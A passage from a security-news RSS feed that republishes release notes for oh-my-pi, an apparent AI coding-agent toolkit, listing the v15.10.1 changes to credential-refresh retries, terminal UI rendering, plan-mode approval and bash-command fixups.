<li>fix(coding-agent): allow retry without model fallback by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/metaphorics/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/metaphorics">@metaphorics</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4596258504" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1929" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1929/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1929">#1929</a></li>
<li>Add ScrollView component by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/enieuwy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/enieuwy">@enieuwy</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4601721650" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1969" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1969/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1969">#1969</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/QianYan-Art/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/QianYan-Art">@QianYan-Art</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4603070748" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1988" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1988/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1988">#1988</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/can1357/oh-my-pi/compare/v15.9.5...v15.9.67"><tt>v15.9.5...v15.9.67</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v15.10.1]]></title>
<description><![CDATA[@oh-my-pi/pi-agent-core
Added

Added optional promptCacheKey support to AgentOptions and Agent via a new promptCacheKey property so providers can receive a caller-provided prompt cache key
Added optional ApiKeyResolveContext parameter to getApiKey in AgentOptions and AgentLoopConfig so key resolv...]]></description>
<link>https://tsecurity.de/de/3580230/tools/v15101/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580230/tools/v15101/</guid>
<pubDate>Mon, 08 Jun 2026 02:50:51 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>@oh-my-pi/pi-agent-core</h2>
<h3>Added</h3>
<ul>
<li>Added optional <code>promptCacheKey</code> support to <code>AgentOptions</code> and <code>Agent</code> via a new <code>promptCacheKey</code> property so providers can receive a caller-provided prompt cache key</li>
<li>Added optional <code>ApiKeyResolveContext</code> parameter to <code>getApiKey</code> in <code>AgentOptions</code> and <code>AgentLoopConfig</code> so key resolvers can receive retry context</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Enabled streaming API calls to re-resolve credentials through the <code>getApiKey</code> callback when retries occur after authentication-related errors</li>
<li><code>Agent.abort(reason?)</code> now forwards <code>reason</code> to the underlying <code>AbortController</code>, and the synthesized aborted assistant message carries that reason on <code>errorMessage</code> (string or non-<code>AbortError</code> <code>Error</code> message) instead of always defaulting to <code>"Request was aborted"</code>. Bare <code>abort()</code> is unchanged.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed handling of short-lived API keys so that expired tokens are retried with a refreshed value during 401/usage-limit failures</li>
<li>Ensured fallback API key resolution uses the initially configured static <code>apiKey</code> when <code>getApiKey</code> is present</li>
<li>Wrapped oneshot LLM completions (<code>instrumentedCompleteSimple</code>: handoff, compaction/branch summaries) in an <code>EventLoopKeepalive</code>. These run outside the agent <code>#runLoop</code>, so without the keepalive Bun's event loop stopped servicing timers while parked on the completion promise — freezing host spinners (e.g. the <code>/handoff</code> loader) until an unrelated terminal resize poked the loop into rendering again.</li>
</ul>
<h2>@oh-my-pi/pi-ai</h2>
<h3>Breaking Changes</h3>
<ul>
<li>Removed the <code>onAuthError</code> option from stream request options and shifted auth retry handling to resolver-based <code>apiKey</code> behavior, requiring callers using custom auth-retry hooks to migrate</li>
</ul>
<h3>Added</h3>
<ul>
<li>Added <code>ApiKeyResolver</code> and <code>ApiKey</code> auth helpers, including <code>isApiKeyResolver</code>, <code>isAuthRetryableError</code>, <code>resolveApiKeyOnce</code>, and <code>withAuth</code>, and exported them from the package root</li>
<li>Added support for a function-valued <code>apiKey</code> in <code>SimpleStreamOptions</code> so a single stream request can refresh or rotate credentials during retry</li>
<li>Added <code>forceRefresh</code> credential option to <code>AuthStorage.getApiKey</code> and <code>rotateSessionCredential</code> support for session-level credential rotation after auth failures</li>
<li>Added <code>AuthStorage.resolver(provider, options)</code> method that builds an <code>ApiKeyResolver</code> implementing the a/b/c auth-retry policy directly on the storage instance</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Changed gateway and stream auth flows to share the a/b/c retry policy, refreshing the same session credential first and then switching to a sibling credential on repeated auth failures</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed streaming auth retries to handle <code>401</code> and usage-limit errors before replay-unsafe content is emitted, including failures surfaced only via <code>errorStatus</code></li>
<li>Fixed tool argument validation to coerce singleton non-string values into arrays when the schema expects an array, preventing Anthropic-compatible models that emit <code>todo.ops</code> as an object from getting stuck in repeated validation-error loops. (<a href="https://github.com/can1357/oh-my-pi/issues/2026" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2026/hovercard">#2026</a>)</li>
<li>Fixed streaming retries to buffer and suppress partial <code>start</code> events from failed auth attempts so only clean retried events are delivered</li>
<li>Fixed the HTTP 400 raw-request dumper (<code>appendRawHttpRequestDumpFor400</code>) littering the real <code>~/.omp/logs/http-400-requests</code> directory during tests. Provider suites exercise the 400 error path with mocked <code>fetch</code> responses, which the dumper could not distinguish from genuine failures; it now skips persistence under the Bun test runner (<code>isBunTestRuntime()</code>).</li>
<li>Fixed Anthropic Opus requests unnecessarily forcing <code>tool_choice.disable_parallel_tool_use</code>, allowing Claude Opus to use the provider's default parallel tool-calling behavior again.</li>
<li>Fixed parallel <code>function_call</code> items losing arguments against llama.cpp's OpenAI Responses endpoint (<code>/v1/responses</code>), where every call but the last finalized with <code>{}</code> and the agent rejected them with <code>path: Invalid input: expected string, received undefined</code>. llama.cpp's <code>to_json_oaicompat_resp</code> emits <code>output_item.added</code> with only <code>item.call_id</code> (no <code>item.id</code>, no <code>output_index</code>) while the matching <code>function_call_arguments.delta</code> carries <code>item_id: "fc_&lt;call_id&gt;"</code>. <code>processResponsesStream</code> now registers function-call and custom-tool-call items under <code>item.call_id</code> as a secondary lookup key (alongside <code>item.id</code>/<code>output_index</code>) so identifier-deviant hosts route deltas and done events to the right block. (<a href="https://github.com/can1357/oh-my-pi/issues/2015" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2015/hovercard">#2015</a>)</li>
<li>Fixed <code>PI_REQ_DEBUG</code> response recording truncating the captured body when a streamed response was cancelled mid-flight. The response tee in <code>wrapResponse</code> could call <code>FileRequestDebugResponseLog.close()</code> from both the <code>cancel</code> callback and the resumed <code>pull</code> (which observes <code>done</code> once the source reader is cancelled); the second caller saw the handle already nulled and returned before the first caller's pending write flushed, so the <code>.res.log</code> lost the already-buffered chunk. <code>close()</code> now memoizes its flush-and-close promise so every caller awaits the same completion.</li>
</ul>
<h2>@oh-my-pi/pi-coding-agent</h2>
<h3>Added</h3>
<ul>
<li>Added <code>display.smoothStreaming</code> setting (default <code>true</code>) to let users enable or disable smooth assistant-stream text reveal</li>
<li>Added <code>/tan &lt;work&gt;</code> slash command to fork the current conversation into a background agent so tangential work can continue asynchronously while your main session stays active</li>
<li>Added a background <code>/tan</code> dispatch message that records the handoff in the transcript and marks the delegated work as non-blocking</li>
<li>Added <code>providerPromptCacheKey</code> support to <code>CreateAgentSessionOptions</code> so <code>/tan</code> background sessions can reuse the parent session’s prompt-cache lineage</li>
<li>Added session cloning for <code>/tan</code> runs with copied artifacts and shared MCP proxy tools</li>
<li>Added <code>SessionManager.forkFrom</code>’s optional <code>suppressBreadcrumb</code> mode to avoid breadcrumb updates when forking background <code>/tan</code> sessions</li>
<li>Added OSC 5522 enhanced paste handling in <code>InputController</code>, so terminal clipboard events are decoded as image or text payloads and inserted without passing raw paste sequences to the editor</li>
<li>Added bracketed image-path paste support in <code>CustomEditor</code> so a single pasted image file path (PNG/JPEG/GIF/WEBP) is loaded from disk and inserted as an image candidate</li>
<li>Added direct support for <code>Image #N</code> insertion from pasted local image paths by routing successful image-path pastes through the same image normalization and resize flow as clipboard image pastes</li>
<li>Added <code>/fresh</code> to rotate the provider-facing session id and clear in-memory provider stream/cache state without changing the local session file.</li>
<li>Added a <code>ChatBlock</code> transcript primitive (<code>modes/components/chat-block.ts</code>) and a single <code>ctx.present(...)</code> sink (with <code>ctx.resetTranscript()</code>) so chat output is mounted in one place instead of the repeated <code>chatContainer.addChild(...)</code> + <code>ui.requestRender()</code> pattern scattered across controllers. <code>ChatBlock</code> carries a React/Svelte-style lifecycle — <code>onMount</code> starts effects, <code>onCleanup</code> registers teardown, <code>finish()</code> self-completes (stops timers and freezes the block at its final content), and <code>dispose()</code>/<code>resetTranscript()</code> tears everything down — so animated blocks own their own resources instead of leaking <code>setInterval</code>/<code>requestRender</code> bookkeeping into callers. The MCP "Connecting…" spinner is now such a block.</li>
<li>Added a <code>framedBlock</code> output-block helper (<code>tui/output-block.ts</code>) plus a <code>borderColor</code> override and <code>applyBg: false</code> (no background fill) on output blocks, a <code>renderStatusLine</code> <code>iconOverride</code>, and an <code>icon.search</code> (magnifier) theme symbol — so tool renderers can draw self-contained muted-outline frames and search-family tools can show a magnifier instead of a checkmark.</li>
</ul>
<h3>Changed</h3>
<ul>
<li>
<p>Changed the bash tool frame to use a plain top rule instead of repeating "Bash" in the title bar, and folded minimizer raw-output artifact links into the status footer as <code>Artifact: &lt;id&gt;</code>.</p>
</li>
<li>
<p>Changed grouped <code>read</code> output to use a white filled-circle mark for the group/single-read success state and omit duplicate per-file success marks inside multi-read groups.</p>
</li>
<li>
<p>Changed assistant streaming output to reveal text incrementally at 30 FPS with grapheme-safe adaptive catch-up, instead of replacing the whole message chunk-by-chunk</p>
</li>
<li>
<p>Changed shimmer-driven TUI animations (working text, pending bash/eval borders, and theme activity-spinner documentation) to render at 30fps instead of 60fps.</p>
</li>
<li>
<p>Changed running <code>task</code> tool agent rows to use a static <code>•</code> marker and shimmer only the subagent name, leaving descriptions, stats, and nested tool detail text solid while removing the rotating status glyph from those rows.</p>
</li>
<li>
<p>Changed settings singleton method access to reuse bound methods for the active instance instead of allocating a new bound function on every <code>settings.get</code> lookup.</p>
</li>
<li>
<p>Changed plan-mode approval to keep the drafted <code>local://&lt;slug&gt;-plan.md</code> file at its original name as the canonical plan path, so approved plans are no longer renamed when leaving plan mode</p>
</li>
<li>
<p>Changed plan-mode write enforcement so only <code>local://</code> artifact files are writable during planning, blocking working-tree edits and allowing scratch or draft plan files in the local artifact area</p>
</li>
<li>
<p>Changed the <code>todo</code> tool result renderer to stop redrawing every phase's full task list on each update: when a multi-phase list is rendered collapsed (the default, not manually expanded), only phases the latest update touched — the phase holding the in_progress task, any phase with a just-completed task, and phases named by the ops that ran (<code>init</code> counts as touching all) — render their tasks; untouched phases collapse to a one-line <code>N. Name  done/total</code> summary. When call args are unavailable (e.g. transcript rebuilds) it falls back to the in_progress/completed-transition signals, and the manual expand toggle still shows every task. Also dropped the blank separator line previously inserted between phases.</p>
</li>
<li>
<p>Changed non-agent API operations (title and commit-message generation, image generation, web search, eval <code>llm()</code>, auto-thinking classifier, memory consolidation) to use session-aware API key resolution with auth retries via <code>registry.resolver()</code> / <code>authStorage.resolver()</code>, refreshing the active credential before rotating to another account</p>
</li>
<li>
<p>Changed image generation to wrap every provider fetch branch in <code>withAuth</code>, so 401 / usage-limit errors trigger credential force-refresh and rotation for authStorage-backed providers (OpenAI-hosted, antigravity, xai-oauth) while env-only providers (openrouter, gemini) stay single-attempt</p>
</li>
<li>
<p>Changed web-search providers using <code>authStorage.getApiKey</code> (anthropic, exa, tavily, parallel, synthetic, zai, kimi) to wrap HTTP calls in <code>withAuth</code> for automatic credential rotation on 401 / usage-limit errors</p>
</li>
<li>
<p>Changed the directory grouping for <code>find</code>, <code>search</code>, <code>ast_grep</code>, <code>ast_edit</code>, and <code>lsp</code> diagnostics from a single flat <code># dir/</code> heading per immediate directory to a multi-level tree that folds the common path prefix into one heading. Previously every group repeated the full directory path — so results rooted outside cwd printed the absolute prefix (e.g. <code>/Users/me/proj/</code>) on every heading and nested directories were never collapsed. Now a single-child directory chain folds into one heading (<code># packages/pkg/src/</code>, including an absolute root for out-of-cwd results), subdirectories nest one <code>#</code> deeper (<code>## nested/</code> → <code>### child.ts</code>), and each directory's own files are listed before its subdirectories. TUI hyperlink reconstruction tracks the nested directory stack across the whole output so file and code-frame links keep resolving to the correct absolute paths.</p>
</li>
<li>
<p>Changed the plan-mode approval surface from an inline transcript block plus a separate bottom selector into a single fullscreen overlay (like <code>/copy</code>) and overhauled its navigation. The overlay now renders the plan per-section through <code>ScrollView</code> (line-level ↑/↓ scroll, Shift+↑/↓ to scroll faster, PgUp/PgDn, g/G) with no stray per-line <code>…</code>, and — when the terminal is wide enough and the plan has ≥2 headings — shows a compact VS Code-style section sidebar (the redundant plan-title heading and any "Contents" label are omitted). Focus moves between regions with Tab/Shift+Tab (and flows at the edges: Down past the last section or the bottom of the body drops into the approval options; Up steps back), while the sidebar glows to track the scrolled section. The sidebar can fast-jump between sections, delete a section (with <code>u</code> undo), and annotate sections with feedback (<code>a</code>); deletions and annotations are collected into refinement feedback that is submitted back to the model when the operator picks "Refine plan". Mouse works too: clicking an approval option activates it, clicking a sidebar section jumps to it, and the wheel scrolls the plan. ←/→ always drive the model-tier slider, Enter confirms, the external-editor key opens the plan, and Esc cancels. The overlay borrows the terminal's alternate screen buffer for its lifetime (<code>fullscreen</code> overlay), so the transcript stays put on the normal screen instead of bleeding through scrollback behind the modal.</p>
</li>
<li>
<p>Changed the interactive controllers (command, MCP, selector, extension-UI, event), debug panels, and the status/error/warning helpers to render chat output through <code>ctx.present(...)</code> instead of appending to <code>chatContainer</code> and calling <code>ui.requestRender()</code> directly; transcript rebuilds dispose live blocks via <code>ctx.resetTranscript()</code> so animated blocks' timers stop on reset.</p>
</li>
<li>
<p>Changed tool-execution block rendering so the container (<code>ToolExecutionComponent</code>) is a transparent passthrough — it no longer inserts a top/bottom blank line, adds left/right padding, or paints a state-colored background behind tool output. Tools with substantial body now self-frame with a muted outline and the tool title in the frame's top bar (<code>edit</code>/<code>apply_patch</code>, <code>write</code>, <code>ask</code>, <code>todo</code>, <code>github</code>, <code>goal</code>, <code>inspect_image</code>, <code>search_tool_bm25</code>, <code>task</code>), matching the already-framed <code>bash</code>/<code>read</code>/<code>eval</code>/<code>debug</code>/<code>web_search</code>/<code>lsp</code> blocks, while streaming/in-progress and trivial results collapse to a clean status line. The search-family list tools (<code>find</code>, <code>search</code>, <code>ast_grep</code>) and <code>job</code> render frameless/minimal; <code>find</code>/<code>search</code>/<code>ast_grep</code> show a magnifier on success instead of a checkmark, and <code>job</code> drops its <code>Job:</code> label prefix (the per-job rows are self-describing). The <code>search_tool_bm25</code>, <code>github</code>, and <code>inspect_image</code> frames draw with no background fill, and <code>inspect_image</code>'s label was shortened to <code>Inspect</code>.</p>
</li>
<li>
<p>Changed the plan-mode active prompt (<code>prompts/system/plan-mode-active.md</code>) to make plans decision-complete and cut filler. Added an Objective framing ("another engineer can execute end-to-end without making a single design decision"), a shared "Resolving Unknowns" section (explore discoverable facts before asking; reserve <code>ask</code> for non-derivable preferences/tradeoffs with 2–4 options + a recommended default), and a single shared "The Plan" structure (Context / Approach grouped by behavior not file-by-file / ≤5 Critical files / Verification / Assumptions) that replaces the per-branch structure guidance previously duplicated across the iterative and parallel workflows. Added explicit prohibitions on sections that decide nothing (Non-Goals, Out of Scope, Alternatives Considered, Risks/Mitigations boilerplate, Future Work), on enumerating every file/line, and on inventing schema/validation/precedence policy the request never established.</p>
</li>
<li>
<p>Changed completion notifications (<code>completion.notify</code>) to fire whenever the agent yields its turn, including in the foreground. The <code>agent_end</code> notification was previously gated behind background mode (<code>isBackgrounded</code>), so an ordinary foreground turn never emitted one; the gate is gone and the desktop toast now fires on every normal turn completion (still skipped for aborted/error turns and when <code>completion.notify</code> is <code>off</code>).</p>
</li>
<li>
<p>Changed the in-progress <code>task</code> tool block to keep the shared <code>context</code> brief (<code># Goal</code> / <code># Constraints</code> background) visible after the first progress snapshot arrives, instead of dropping it the moment the streaming call view was replaced by the result frame, and to stop animating a spinner/clock next to the <code>Task</code> frame header while running — the per-agent body lines already carry their own running spinner, so the header now shows a static state icon (matching the completed/failed header icons). The context is rendered through a shared <code>buildContextSection</code> helper that also undoes per-field double-encoding, so the brief reads cleanly in the result frame even though <code>renderResult</code> receives the raw (un-repaired) tool args.</p>
</li>
<li>
<p>Changed the messaging shown when you press Esc to interrupt a streaming turn from the ambiguous <code>Operation aborted</code> / <code>Tool execution was aborted: Request was aborted</code> to <code>Interrupted by user</code>, so a deliberate user interrupt no longer reads like an internal failure. Every Esc/flush interrupt path (<code>onEscape</code> while streaming, the queued-message restore-and-abort path, and the empty-submit queue flush) threads the reason through <code>AgentSession.abort({ reason })</code> → <code>Agent.abort(reason)</code> so it rides the <code>AbortController</code> onto the aborted assistant message's <code>errorMessage</code>; the turn label renders it verbatim on both the live and replay paths, and the synthetic placeholder results paired with in-flight tool calls now read <code>Tool execution was aborted: Interrupted by user</code>. Aborts that carry no reason still fall back to the retry-aware <code>Operation aborted</code> generic. Transcript label resolution is centralized in <code>resolveAbortLabel</code> (<code>session/messages.ts</code>).</p>
</li>
</ul>
<h3>Removed</h3>
<ul>
<li>Removed the <code>/background</code> (and <code>/bg</code>) slash command and the background-mode subsystem it was the sole entry point for — <code>InteractiveMode.isBackgrounded</code>, <code>createBackgroundUiContext</code>, <code>handleBackgroundEvent</code>, and every <code>isBackgrounded</code> guard across the input/event/extension-UI controllers and UI helpers. The command suspended the whole process group via <code>SIGTSTP</code> (a leftover testing shortcut) instead of detaching the running agent, which is not the expected workflow — use terminal panes or a multiplexer instead.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>
<p>Fixed inline <code>find</code> and <code>search</code> result blocks to align with grouped <code>read</code> output and render their success headers with the normal tool-title color instead of accent blue.</p>
</li>
<li>
<p>Fixed the working-status shimmer to opt into the loader's 30fps animated-message repaint path while keeping both the status spinner and pending bash/eval tool spinners on their normal 80 ms glyph cadence.</p>
</li>
<li>
<p>Fixed consecutive <code>read</code> tool calls failing to collapse into a single grouped block when a reasoning model emits one read per completion (<code>[thinking, read]</code>). The read group was reset on every assistant <code>message_start</code>, so each read rendered as its own one-entry <code>Read …</code> line; now a read run accretes across completions and is broken only by a rendered non-empty text/thinking block, a non-read tool, or a user/IRC message — matching the transcript-rebuild path. <code>ReadToolGroupComponent</code> now reports its live/finalized state so the growing <code>Read (N)</code> header repaints correctly on native-scrollback (risk) terminals.</p>
</li>
<li>
<p>Fixed the <code>task</code> tool shared-context brief rendering raw Markdown headings (<code># Goal</code>, <code># Constraints</code>) inside framed call/result blocks instead of using the normal Markdown renderer.</p>
</li>
<li>
<p>Fixed the animated pending border on <code>bash</code>/<code>eval</code> blocks leaving a frozen dark "bar" segment behind after a backgrounded command finalized through the async update path. Once a command is auto-backgrounded (<code>details.async.state === "running"</code>) the block stays "partial" in the TUI until the async job-manager delivers the final result, but it also gets committed to native scrollback — so a mid-sweep shimmer frame baked a stray darkened border segment into the committed copy. The border now stops animating (and the 60fps redraw loop stops) the moment a block enters the backgrounded state, so the committed frame is a clean static border.</p>
</li>
<li>
<p>Fixed cold <code>omp</code> launch to clear native terminal history on the first paint, avoiding a once-per-launch duplicate welcome/transcript copy before the normal session replay.</p>
</li>
<li>
<p>Fixed plan approval resolution so <code>resolve</code> with <code>action: "apply"</code> can still find the plan file when <code>extra.title</code> is missing or stale by falling back to the current plan path and most-recent local plan artifacts</p>
</li>
<li>
<p>Fixed the search-family tool magnifier glyph (<code>find</code>, <code>search</code>, <code>ast_grep</code>, <code>search_tool_bm25</code>) to use the <code>accent</code> title color instead of <code>success</code> green, so the icon matches the tool title in the status header instead of standing out</p>
</li>
<li>
<p>Fixed TTSR stream interrupts to pass the matched rule name through the abort reason, so aborted in-flight tool placeholders say why they were stopped instead of <code>Request was aborted</code>.</p>
</li>
<li>
<p>Fixed URL reads for binary/special payloads to reuse local readers: remote archives list their root entries, SQLite databases show their table overview, notebooks render as editable cells, and unrenderable binary returns a metadata notice instead of decoded byte garbage.</p>
</li>
<li>
<p>Fixed pasted image-file paths that cannot be loaded to fall back to normal text paste with status feedback instead of disappearing.</p>
</li>
<li>
<p>Fixed tool-output file paths not being clickable OSC 8 <code>file://</code> hyperlinks in several renderers. <code>read</code> titles for plain text and image files (the common case) emitted no link at all because the renderer only linked when a <code>resolvedPath</code> was recorded — which the ordinary file/image read paths never set, keeping the absolute path only in <code>meta.source</code>; the renderer now falls back to that source path. <code>write</code> headers were never wrapped in a hyperlink and now link to the absolute path written (file, archive entry, SQLite, and conflict resolutions). <code>edit</code>/<code>apply_patch</code> headers wrapped the model-supplied (often cwd-relative) argument path, producing a root-anchored <code>file:///rel/path</code> URI; they now link the absolute <code>details.path</code> instead. Finally, <code>search</code>, <code>ast_grep</code>, and <code>ast_edit</code> produced doubled link targets (<code>/proj/src/src/file.ts</code>) for searches scoped to a subdirectory, because the renderer resolved the cwd-relative display paths against the scope directory rather than cwd — the scoped-search base is now the session cwd (with the scoped file's absolute path still seeding single-file body lines).</p>
</li>
<li>
<p>Fixed <code>omp dry-balance --bench</code> to recover from 401 token failures by re-minting the failing OAuth credential in place before switching accounts</p>
</li>
<li>
<p>Fixed the bash tool corrupting commands that embed multi-byte UTF-8 (e.g. <code>✓</code>/<code>×</code> inside a <code>grep -E</code> pattern) ahead of a trailing <code>| head</code>/<code>| tail</code>. The <code>bash.stripTrailingHeadTail</code> rewrite cut at char-offset positions reported by <code>brush-parser</code> while slicing the command by byte offset, so the trailing-pipe strip landed mid-pattern and dropped the closing quote — turning <code>… |✓|×|XCTAssert" | tail -80</code> into <code>… |✓|×-80</code> and making execution fail with <code>pi-natives:command: unterminated double quote</code>. Fixed in <code>pi_shell::fixup</code> (<code>@oh-my-pi/pi-natives</code>).</p>
</li>
<li>
<p>Fixed <code>omp dry-balance --bench</code> to recover from 401 token failures by re-minting the failing OAuth credential in place before switching accounts</p>
</li>
<li>
<p>Fixed duplicate file entries in grouped outputs for <code>find</code>, <code>search</code>, <code>ast_grep</code>, <code>ast_edit</code>, and <code>lsp</code> diagnostics when the same path appeared multiple times</p>
</li>
<li>
<p>Fixed search, grep, and edit output rendering so repeated directory group blank-line boundaries no longer break nested path/link reconstruction</p>
</li>
<li>
<p>Fixed <code>omp dry-balance --bench</code> flooding the terminal with staircased, duplicated spinner/status lines (and an indented summary) when the tty has ONLCR/OPOST disabled (raw mode). The interactive progress region separated rows with a bare LF and repositioned with a column-preserving <code>\x1b[&lt;n&gt;A</code> cursor-up, both of which only land at column 0 when the terminal translates LF→CRLF; with that translation off, every 80 ms redraw cascaded down and to the right into scrollback. The live region now carriage-returns before every cleared row, terminates each row with CRLF, and caps each row to the terminal width so a wrapped line cannot desync the cursor-up from the logical line count.</p>
</li>
<li>
<p>Fixed inconsistent vertical spacing between transcript blocks: some blocks (tool results from <code>search</code>/<code>find</code> and other renderer-backed tools) rendered with a doubled gap (a leading <code>Spacer</code> plus the content box's own <code>paddingY</code>), while others (the grouped <code>read</code> card, file-mention lists, IRC cards) rendered with no gap at all. Vertical spacing is now owned entirely by the chat renderer: <code>TranscriptContainer</code> strips each block's plain-blank top/bottom edges and inserts exactly one blank line between consecutive blocks, so every block is separated by a single consistent gap regardless of which component produced it. Individual components (assistant/user/tool/read-group/bash/eval/skill/custom/hook/compaction/branch/todo-reminder/plan-review messages) no longer emit their own leading <code>Spacer</code>/<code>paddingY</code> for separation, and multi-row groups (IRC cards, file-mention lists, completed-job batches, and the bordered command/<code>/changelog</code>/<code>/context</code>/version/OAuth/debug panels) are wrapped as single <code>TranscriptBlock</code> children so the renderer spaces them as one unit. Background-colored box padding is preserved as block-internal design.</p>
</li>
<li>
<p>Fixed <code>resolve</code> with <code>action: "discard"</code> surfacing a hard <code>isError</code> "No pending action to resolve" failure to the model when the agent asked to cancel a staged action (e.g. an <code>ast_edit</code> preview) but nothing was pending. A discard is a request to reach the "no staged change" end-state, which already holds in that case, so it is now honored as a successful cancellation (<code>"Nothing to discard; no pending action remains."</code> with <code>details.action: "discard"</code>) instead of an error. <code>action: "apply"</code> with no pending action still errors.</p>
</li>
<li>
<p>Fixed the collapsed tool-output expand hint rendering double brackets (e.g. <code>((Ctrl+O for more))</code>) — the <code>EXPAND_HINT</code> text already carried its own parentheses and then <code>formatExpandHint</code> wrapped it again with the theme's bracket glyphs. The hint now resolves the key actually bound to <code>app.tools.expand</code> at render time and reads <code>⟨&lt;key&gt;: Expand⟩</code> (e.g. <code>⟨Ctrl+O: Expand⟩</code>), so a single bracket pair surrounds it and a user remap of the expand keybinding is reflected instead of a hard-coded <code>Ctrl+O</code>.</p>
</li>
<li>
<p>Fixed the <code>edit</code>/<code>apply_patch</code> tool dropping its outlined frame while streaming/in-progress (only the final result was framed); the in-progress diff preview now renders inside the same muted frame as the completed result.</p>
</li>
<li>
<p>Fixed the <code>todo</code> and <code>job</code> tools rendering a success icon and success styling on a failed/error result; error results now show the error icon and a red frame border.</p>
</li>
<li>
<p>Fixed <code>debug</code> tool refusing every <code>dlv</code> launch on Go modules. The launch handler ran <code>validateLaunchProgram</code> before adapter selection and rejected any directory program with <code>launch program resolves to a directory</code>, while dlv's default <code>mode=debug</code> requires a Go package path (a directory or <code>.go</code> source file). Adapter resolution now precedes validation, directory programs prefer adapters that advertise <code>acceptsDirectoryProgram</code> before falling back to native extensionless debuggers, the rejection only fires when the resolved adapter does not advertise that flag (set on <code>dlv</code> in <code>dap/defaults.json</code>), and dlv's <code>mode</code> is derived from the program shape — directories and <code>.go</code> files launch as <code>mode=debug</code>, other files as <code>mode=exec</code> — so <code>omp</code> can debug both Go packages and pre-built binaries (<a href="https://github.com/can1357/oh-my-pi/issues/2020" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2020/hovercard">#2020</a>).</p>
</li>
</ul>
<h2>@oh-my-pi/pi-natives</h2>
<h3>Fixed</h3>
<ul>
<li>Fixed <code>applyBashFixups</code> corrupting commands that contain multi-byte UTF-8 before a trailing <code>| head</code>/<code>| tail</code> (or <code>2&gt;&amp;1</code>). <code>brush-parser</code> reports source positions as Unicode-scalar (char) offsets, but <code>pi_shell::fixup</code> sliced the command <code>&amp;str</code> by those numbers as if they were byte offsets, so each multi-byte char (e.g. <code>✓</code>/<code>×</code> in a <code>grep -E</code> pattern) shifted the cut earlier and left a mangled command — e.g. <code>… |✓|×|XCTAssert" | tail -80</code> became <code>… |✓|×-80</code>, orphaning the closing quote and making the shell reject the whole pipeline with <code>unterminated double quote</code>. Positions are now translated to byte offsets before slicing.</li>
</ul>
<h2>@oh-my-pi/pi-tui</h2>
<h3>Breaking Changes</h3>
<ul>
<li>Removed Kitty temp-file image transmission, its startup support probe, the <code>PI_KITTY_IMAGE_TRANSMISSION</code> override, and the temp-file helper exports. Kitty/Ghostty image payloads now stay on in-band base64 before placeholder/direct placement, avoiding blank first renders from temp-file load races.</li>
<li>Renamed <code>RenderRequestOptions.allowUnknownViewportMutation</code> → <code>allowUnknownViewportTransientRepaint</code>. The option only permits a transient live-viewport repaint (autocomplete/IME/focused-editor chrome) on hosts that cannot report viewport position; it never authorizes a settled transcript commit. The old name implied any offscreen mutation was safe to push into native scrollback, which led callers to emit duplicate transcript copies.</li>
</ul>
<h3>Added</h3>
<ul>
<li>Added <code>TUI.addStartListener()</code> so feature hooks can re-enable terminal modes after temporary stop/start cycles such as external-editor handoffs.</li>
<li>Added <code>Editor.pasteText()</code> to apply terminal-style paste handling for text inserted from non-bracketed paste transports</li>
<li>Added an optional <code>dispose()</code> lifecycle method to <code>Component</code> so components can release timers and subscriptions during permanent teardown</li>
<li>Added <code>Container.dispose()</code> to propagate teardown to child components when a component tree is permanently discarded</li>
<li>Added <code>Loader.dispose()</code> to stop the loader animation timer when the component is disposed</li>
<li>Added a <code>ScrollView</code> <code>ellipsis</code> option (defaults to <code>Ellipsis.Unicode</code>) so callers that pre-wrap content to width can pass <code>Ellipsis.Omit</code> and suppress the stray per-line <code>…</code> that lands on trailing padding.</li>
<li>Added <code>ScrollView.handleScrollKey()</code> plus a <code>fastScrollLines</code> option so every scroll view gets shared navigation keys, including Shift+Arrow to scroll faster.</li>
<li>Added <code>OverlayOptions.fullscreen</code>: while the topmost visible overlay sets it, the engine borrows the terminal's alternate screen buffer for the overlay's lifetime and paints only the modal there — no ED3, no transcript re-commit — so the transcript stays untouched on the normal screen and is not scrollable behind the modal. Mouse tracking (<code>?1000h</code>/<code>?1006h</code>) is enabled for the modal's lifetime and disabled on exit, so the rest of the app keeps the terminal's native text selection.</li>
